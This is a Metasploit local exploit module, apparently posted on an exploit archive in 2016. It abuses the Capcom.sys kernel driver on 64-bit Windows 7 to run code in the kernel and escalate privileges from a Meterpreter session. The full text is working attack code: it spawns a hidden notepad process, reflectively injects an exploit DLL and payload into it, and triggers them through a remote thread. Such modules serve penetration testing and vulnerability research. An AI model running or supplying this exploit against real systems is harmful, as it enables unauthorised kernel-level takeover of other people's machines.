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Windows Capcom.sys Kernel Execution Exploit (x64 only)

Posted on 03 October 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',
'Description' => %q{
This module abuses the Capcom.sys kernel driver's function that allows for an
arbitrary function to be executed in the kernel from user land. This function
purposely disables SMEP prior to invoking a function given by the caller.
This has been tested on Windows 7 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'TheWack0lian', # Issue discovery
'OJ Reeves' # exploit and msf module
],
'Arch' => [ ARCH_X86_64],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
],
'DisclosureDate' => 'Jan 01 1999', # non-vuln exploit date
'DefaultTarget' => 0
}))
end

def check
if sysinfo['OS'] !~ /windows 7/i
return Exploit::CheckCode::Unknown
end

if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
else
return Exploit::CheckCode::Safe
end

file_path = expand_path('%windir%') << '\system32\capcom.sys'
return Exploit::CheckCode::Safe unless file_exist?(file_path)

# TODO: check for the capcom.sys driver and its version.
return Exploit::CheckCode::Appears
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end

if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
end

print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")

library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec',
'capcom_sys_exec.x64.dll')
library_path = ::File.expand_path(library_path)

print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end

end

 

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